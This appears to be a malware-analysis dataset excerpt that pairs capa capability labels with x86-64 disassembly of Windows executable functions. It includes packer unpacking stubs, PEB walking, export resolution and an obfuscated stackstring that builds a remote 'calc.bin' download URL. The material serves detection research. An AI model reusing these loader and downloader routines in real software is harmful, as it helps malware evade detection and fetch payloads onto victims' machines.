joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1f60d2040
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1f60dc590]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x1f60d2060
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x1f60d2068
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x1f60d2080
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x1f60dc590]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x1f60d20a0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x1f60d20a8
mov eax, r8d
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1f60d20a0
sub rcx, rax
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x1f60d20a0
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1f60d20e4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1f60d20f8
add rax, 0x28
cmp r9, rax
jne 0x1f60d20d0
xor r8d, r8d
mov eax, r8d
ret
mov r8d, dword [rax + 0x24]
not r8d
shr r8d, 0x1f
mov eax, r8d
ret

Function at 0x1f60d2110
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1f60dc590]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1f60d2132
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1f60d2140
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1f60d2132
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1f60d2132
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x1f60d2132
sub r8d, 1
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop dword [rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x1f60d218d
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1f60d21a0
add rdx, 0x28
cmp r10, rdx
jne 0x1f60d2178
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1f60d21af
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1f60d21bf
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1f60d2196
test ecx, ecx
jg 0x1f60d21a8
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140008fd0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x140008fdd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x140008fed
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140008fd5
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x140009005
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140008ff2
sub eax, 3
jb 0x14000901f
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x140009056
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x140009046
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x140009044
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x140009033
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.140008f92
jmp 0x140008fdd
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xe00
mov dl, 1
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1400090a2
cmp rsi, rcx
jae 0x1400090aa
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140009089
cmp al, 0x8f
ja 0x140009089
cmp byte [rsi - 2], 0xf
je 0x14000908f
sub al, 0xe8
cmp al, 1
ja 0x140009073
cmp rsi, rcx
jae 0x1400090aa
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140009079
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1400090aa
lodsb al, byte [rsi]
jmp 0x140009089
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x6000]
mov eax, dword [rdi]
or eax, eax
je 0x140009107
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x91dc]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1400090b7
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140009101
mov qword [rbx], rax
add rbx, 8
jmp 0x1400090d7
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140009141
cmp al, 0xef
ja 0x140009133
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x140009113
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140009122
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x227]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140009195
sub rsp, 0xffffffffffffff80
jmp 0x1400012c0
Function at 0x140542058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1405421df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140542089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14054206f
add dl, dl
jne 0x140542096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405420f6
xor eax, eax
add dl, dl
jne 0x1405420a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405421ad
add dl, dl
jne 0x1405420b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405420c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405420d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405420dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1405420ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14054207e
mov eax, 1
add dl, dl
jne 0x140542106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140542113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405420fb
sub eax, ebx
mov ebx, 1
jne 0x14054214c
mov ecx, 1
add dl, dl
jne 0x14054212e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14054213b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140542123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14054207e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140542168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140542175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14054215d
cmp eax, 0x7d00
jae 0x14054219b
cmp eax, 0x500
jb 0x140542196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14054207e
cmp eax, 0x7f
ja 0x14054219e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14054207e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1405421d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14054207e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20

Function at 0x100403a20
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x6c
xor al, 0x64
xor al, 0x67
xor al, 0x41
xor al, 0x3e
xor al, 0x7d
xor al, 0xa2
xor al, 0x9a
xor al, 0xa3
xor al, 0x88
xor al, 0x9d
xor al, 0xa4
xor al, 0x71
xor al, 0x74
xor al, 0x59
xor al, 0x87
xchg dword [rbp*4 - 0x57cb58cc], esi
xor al, 0x99
xor al, 0xa1
xor al, 0x86
xor al, 0xa3
xor al, 0xa3
movabs dword [0xa73490345934a834], eax
xor al, 0xad
xor al, 0xa7
xor al, 0xa8
xor al, 0x99
cdq
xor al, 0xa1
xor al, 0x67
xor al, 0x66
xor al, 0x90
xor al, 0xa7
xor al, 0x9c
xor al, 0x99
xor al, 0xa0
xor al, 0xa0
xor al, 0x67
xor al, 0x66
xor al, 0x62
Function at 0x14000fedc
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x14002d200]
jmp 0x14000fedc
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov qword [rsp + 0x50], rbx
mov rbx, rcx
mov rax, qword [rcx]
test rax, rax
je 0x14000ff8a
mov ecx, dword [rax + 8]
cmp ecx, 0xffffffff
jne 0x14000ff13
and qword [rsp + 0x48], 0
jmp 0x14000ff23
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov qword [rsp + 0x48], rax
test rax, rax
jne 0x14000ff8c
mov rax, qword [rbx]
mov rcx, qword [rax]
test rcx, rcx
je 0x14000ff8a
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x14000ff8a
mov rcx, rbx
call fcn.14000fc9c
mov rdi, rax
mov qword [rsp + 0x48], rax
test rax, rax
je 0x14000ff97
mov rax, qword [rbx]
mov ecx, dword [rax + 8]
cmp ecx, 0xffffffff
je 0x14000ffb0
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x14000ffb0
jmp 0x14000ff74
mov rcx, qword [rbx]
mov rcx, qword [rcx]
test rcx, rcx
je 0x14000ff85
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, rdi
jmp 0x14000ff8c
xor eax, eax
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
mov dword [rsp + 0x20], 1
lea rdx, [0x140028e48]
lea rcx, [rsp + 0x20]
call sub.msvcrt.dll__CxxThrowException
mov dword [rsp + 0x24], 4
lea rdx, [0x140028e48]
lea rcx, [rsp + 0x24]
call sub.msvcrt.dll__CxxThrowException
int3

Function at 0x140011ad0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x140011b57
movsxd rax, dword [0x14000003c]
lea rdx, [0x140000000]
lea rcx, [rax + rdx]
cmp dword [rcx], 0x4550
jne 0x140011b57
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140011b57
sub r8, rdx
movzx eax, word [rcx + 0x14]
add rax, 0x18
add rax, rcx
movzx ecx, word [rcx + 6]
lea rdx, [rcx + rcx*4]
lea r9, [rax + rdx*8]
mov qword [rsp], rax
cmp rax, r9
je 0x140011b53
mov edx, dword [rax + 0xc]
cmp r8, rdx
jb 0x140011b4d
mov ecx, dword [rax + 8]
add ecx, edx
cmp r8, rcx
jae 0x140011b4d
cmp dword [rax + 0x24], 0
jge 0x140011b49
xor al, al
jmp 0x140011b5d
mov al, 1
jmp 0x140011b5d
add rax, 0x28
jmp 0x140011b24
xor al, al
jmp 0x140011b5d
xor al, al
jmp 0x140011b5d
add rsp, 0x18
ret

Function at 0x140012220
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001226e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001226e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001226e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001226e
cmp dword [rcx + 0x84], 0xe
jbe 0x14001226e
cmp dword [rcx + 0xf8], 0
je 0x14001226e
mov al, 1
add rsp, 0x28
ret
xor al, al
add rsp, 0x28
ret
Function at 0x140012320
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub rsp, 0xc8
lea rcx, [rsp + 0x80]
call fcn.1400124d0
mov byte [rsp + 0x40], 0x68
mov byte [rsp + 0x41], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x42], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x43], WSAStartup
mov byte [rsp + 0x44], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x45], 0x3a
mov byte [rsp + 0x46], 0x2f
mov byte [rsp + 0x47], 0x2f
mov byte [rsp + 0x48], 0x79
mov byte [rsp + 0x49], 0x6a
mov byte [rsp + 0x4a], 0x32
mov byte [rsp + 0x4b], 0x33
mov byte [rsp + 0x4c], 0x33
mov byte [rsp + 0x4d], 0x2e
mov byte [rsp + 0x4e], 0x65
mov byte [rsp + 0x4f], 0x75
mov byte [rsp + 0x50], 0x2e
mov byte [rsp + 0x51], WSAStartup
mov byte [rsp + 0x52], WSAStartup
mov byte [rsp + 0x53], 0x67
mov byte [rsp + 0x54], 0x2f
mov byte [rsp + 0x55], 0x63
mov byte [rsp + 0x56], 0x61
mov byte [rsp + 0x57], 0x6c
mov byte [rsp + 0x58], 0x63
mov byte [rsp + 0x59], 0x2e
mov byte [rsp + 0x5a], 0x62
mov byte [rsp + 0x5b], 0x69
mov byte [rsp + 0x5c], 0x6e
mov byte [rsp + 0x5d], 0
mov byte [rsp + 0x30], 0x55
mov byte [rsp + 0x31], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x32], 0x65
mov byte [rsp + 0x33], WSAStartup
mov byte [rsp + 0x34], 0x20
and al, 0x34
and dh, al
and al, 0x35
mov byte [r12 + 0x36], 0x67

Function at 0x1400124d0
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xf8
mov qword [rsp + 0xd0], 2
jmp 0x1400124fd

Function at 0x1400125e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [rsp + 0x28], 0x77
mov byte [rsp + 0x29], 0x69
mov byte [rsp + 0x2a], 0x6e
mov byte [rsp + 0x2b], 0x69
mov byte [rsp + 0x2c], 0x6e
mov byte [rsp + 0x2d], 0x65
mov byte [rsp + 0x2e], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x2f], 0
mov byte [rsp + 0x40], 0x56
mov byte [rsp + 0x41], 0x69
mov byte [rsp + 0x42], WSAStartup
mov byte [rsp + 0x43], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x44], 0x75
mov byte [rsp + 0x45], 0x61
mov byte [rsp + 0x46], 0x6c
mov byte [rsp + 0x47], 0x41
Function at 0x140012830
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test byte [rsp + riz*4], ah
add byte [rax], al
add byte [rbx - 0x3a], al
test byte [riz*4 + 0x61000000], ah
jmp 0x140012830

Function at 0x140012aa0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x40]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x20], 0
jmp 0x140012b55
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x18]
cmp dword [rsp + 0x20], eax
jae 0x140012bdb
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x50]
call fcn.140012a10
test eax, eax
jne 0x140012bd6
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x58]
movzx eax, word [rcx + rax*2]
mov word [rsp + 0x24], ax
movzx eax, word [rsp + 0x24]
mov rcx, qword [rsp + 0x60]
mov eax, dword [rcx + rax*4]
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
jmp 0x140012bdd
jmp 0x140012b4b
xor eax, eax
add rsp, 0x78
ret

Function at 0x140012bf7
Capabilities:
Access peb ldr_data

Disassembly:
xor r8, r8
xor rax, rax
xor r10, r10

Function at 0x140012c00
Capabilities:
Access peb ldr_data

Disassembly:
add r10, 0x60
mov rax, qword gs:[r10]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
ret
Function at 0x100e55940
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x100e5594d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x100e5595d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x100e55945
lea eax, [rcx + 1]
jmp 0x100e5596b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x100e5597e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x100e55964
sub eax, 3
jb 0x100e5599e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x100e559ed
sar eax, 1
movsxd rbp, eax
jb 0x100e559d4
jmp 0x100e559ac
add ebx, ebx
jne 0x100e559aa
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x100e559d4
inc ecx
add ebx, ebx
jne 0x100e559ba
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x100e559d4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x100e559cd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x100e559bc
add ecx, 2
jmp 0x100e559d9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.100e55902
jmp 0x100e5594d
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0xe51000]
mov eax, dword [rdi]
or eax, eax
je 0x100e55a49
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xe6bf74]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x100e559f9
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x100e55a43
mov qword [rbx], rax
add rbx, 8
jmp 0x100e55a19
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.100e55acc], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.100e55acc
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x100e55abc
sub rsp, 0xffffffffffffff80
jmp 0x1000031c0
Function at 0x1400087bc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140008808
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140008800
cmp dword [rcx + 0x3c], edx
jl 0x140008800
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140008800
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x140008808
mov rax, rdx
add rsp, 0x18
ret

Function at 0x1400111ea
Capabilities:
Terminate process

Disassembly:
jmp 0x140014f30
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011267
Capabilities:
Parse pe header

Disassembly:
jmp 0x140012c40
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140012c60
xor al, al
jmp 0x140012ce1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140012c73
xor al, al
jmp 0x140012ce1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140012c9d
xor al, al
jmp 0x140012ce1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140012cb1
xor al, al
jmp 0x140012ce1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140012cc3
xor al, al
jmp 0x140012ce1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140012cdf
xor al, al
jmp 0x140012ce1
mov al, 1
add rsp, 0x38
ret
Function at 0x140044b70
Capabilities:
Get thread local storage value

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.140044650
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140044baf
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x14008f2d8]
jmp 0x140044bb9
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret
Function at 0x1400675a0
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret
Function at 0x14006b5e0
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.14008b3d0
sub rsp, rax
mov rax, qword [0x140218dc0]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x14021b8c0]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x14006b7d2
lea rax, [rsp + 0x147f]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x38], rax
jae 0x14006b726
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x14006b726
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax]
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x30]
cmp eax, 0xa
jne 0x14006b70b
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x38]
mov byte [rax], 0xd
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, byte [rsp + 0x30]
mov byte [rax], cl
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
jmp 0x14006b6a8
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14006b792
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68], eax
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x14006b7f1
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x44], eax
jae 0x14006b7cd
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x14006b7f1
jmp 0x14006b67e
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.14003a9a0
add rsp, 0x1498
pop rdi
pop rsi
ret